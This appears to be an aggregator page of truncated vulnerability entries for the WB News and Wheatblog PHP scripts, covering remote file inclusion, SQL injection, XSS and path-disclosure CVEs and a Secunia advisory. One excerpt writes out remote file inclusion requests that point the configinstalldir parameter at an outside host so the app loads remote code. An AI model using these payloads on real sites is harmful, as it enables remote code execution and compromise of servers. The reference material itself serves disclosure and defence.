WB News 2.1.1 - config[installdir] Remote File Inclusion

-----------------:Remote File Include:----------------- ------------------------------------------------------- script:wb news v2.1.1 ------------------------------------------------------------------ download from:http://www.webmobo.com/downloads/...

WB News 2.1.1 - config[installdir] Remote File Inclusion

WB News 2.1.1 - configinstalldir Remote File Inclusion -----------------:Remote File Include:----------------- ------------------------------------------------------- script:wb news v2.1.1 ------------------------------------------------------------------ download...

WB News 2.1.1 Remote File Inclusion

-----------------:Remote File Include:----------------- ------------------------------------------------------- script:wb news v2.1.1 ------------------------------------------------------------------ download from:http://www.webmobo.com/downloads/...

WB News 2.1.1 config[installdir] Remote File Inclusion Vulnerability

Exploit for unknown platform in category web applications ==================================================================== WB News 2.1.1 configinstalldir Remote File Inclusion Vulnerability ==================================================================== -----------------:Remote File...

WB News v2.0.X Remote File include ..

Hello WB News v2.0.X Remote File include .. tested on 2.0.1 Discovered By : HACKERS PAL Copy rights : HACKERS PAL Website : http://www.soqor.net Email Address : [email protected] search.php?configinstalldir=http://www.soqor.net/index/? archive.php?configinstalldir=http://www.soqor.net/index/?...

CVE-2009-0294

Multiple PHP remote file inclusion vulnerabilities in WB News 2.0.1, when registerglobals is enabled, allow remote attackers to execute arbitrary PHP code via a URL in the configinstalldir parameter to 1 search.php, 2 archive.php, 3 comments.php, and 4 news.php; 5 News.php, 6 SendFriend.php, 7...

Remote file inclusion

Multiple PHP remote file inclusion vulnerabilities in WB News 2.0.1, when registerglobals is enabled, allow remote attackers to execute arbitrary PHP code via a URL in the configinstalldir parameter to 1 search.php, 2 archive.php, 3 comments.php, and 4 news.php; 5 News.php, 6 SendFriend.php, 7...

CVE-2009-0294

CVE-2009-0294 involves multiple PHP remote file inclusion vulnerabilities in WB News 2.0.1. The issue arises when register_globals is enabled, allowing remote code execution via a URL in config[installdir] for files in base/ and admin/ (e.g., search.php, archive.php, comments.php, news.php, News....

CVE-2009-0294

Multiple PHP remote file inclusion vulnerabilities in WB News 2.0.1, when registerglobals is enabled, allow remote attackers to execute arbitrary PHP code via a URL in the configinstalldir parameter to 1 search.php, 2 archive.php, 3 comments.php, and 4 news.php; 5 News.php, 6 SendFriend.php, 7...

CVE-2007-3557

The CVE-2007-3557 issue affects Wheatblog (wB) version 1.1, specifically the admin/login.php script. When magic_quotes_gpc is disabled, the login parameter is vulnerable to SQL injection, enabling remote attackers to execute arbitrary SQL commands. This is documented across multiple sources (NVD,...

CVE-2007-1288

Multiple PHP remote file inclusion vulnerabilities in Webmobo WB News 1.4.1 and earlier allow remote attackers to execute arbitrary PHP code via a URL in the configinstalldir parameter to 1 comment.php, 2 themes.php, 3 directory.php, and 4 sendmsg.php in admin/...

Remote file inclusion

Multiple PHP remote file inclusion vulnerabilities in Webmobo WB News 1.4.1 and earlier allow remote attackers to execute arbitrary PHP code via a URL in the configinstalldir parameter to 1 comment.php, 2 themes.php, 3 directory.php, and 4 sendmsg.php in admin/...

CVE-2007-1288

Multiple PHP remote file inclusion vulnerabilities in Webmobo WB News 1.4.1 and earlier allow remote attackers to execute arbitrary PHP code via a URL in the configinstalldir parameter to 1 comment.php, 2 themes.php, 3 directory.php, and 4 sendmsg.php in admin/...

CVE-2007-1288

CVE-2007-1288 describes multiple PHP remote file inclusion vulnerabilities in Webmobo WB News 1.4.1 and earlier. An attacker can execute arbitrary PHP code by supplying a URL to the config[installdir] parameter in admin/ pages (comment.php, themes.php, directory.php, sendmsg.php). Root cause: unt...

WB News Remote File Include in all versions

ThE bug in admin file To ConTacT mE @ www.Asb-May.net/bb ScRiPtS:-http://www.webmobo.com/wbnews/download.html GrEaTz To:-ToOofa-HaCk.eGy All AsB-MaY DisCoverY ExPloIts GrOup Discovered By:- ThE dE@Th AsB-MaY DiScOvEr ExPlIoTs Gr0uP comment.php:- include $config'installdir'...

CVE-2006-5921

CVE-2006-5921 describes cross-site scripting (XSS) in Wheatblog (wB) via add_comment.php. Vulnerable fields are the user-supplied inputs “Name,” “WWW,” and “Comment.” The issue is noted to potentially overlap CVE-2006-5195. Connected documents provide no explicit patch/version details or mitigati...

CVE-2006-5922

CVE-2006-5922 affects Wheatblog (wB) via index.php. The vulnerability arises when processing postPtr[] and next parameters, causing error messages that disclose the server path, enabling information disclosure. The CVSS data provided indicates a low complexity, no authentication, and partial conf...

[SA18499] WB News "name" Script Insertion Vulnerability

TITLE: WB News "name" Script Insertion Vulnerability SECUNIA ADVISORY ID: SA18499 VERIFY ADVISORY: http://secunia.com/advisories/18499/ CRITICAL: Moderately critical IMPACT: Cross Site Scripting WHERE: From remote SOFTWARE: WB News 1.x http://secunia.com/product/6866/ DESCRIPTION: DragoN has...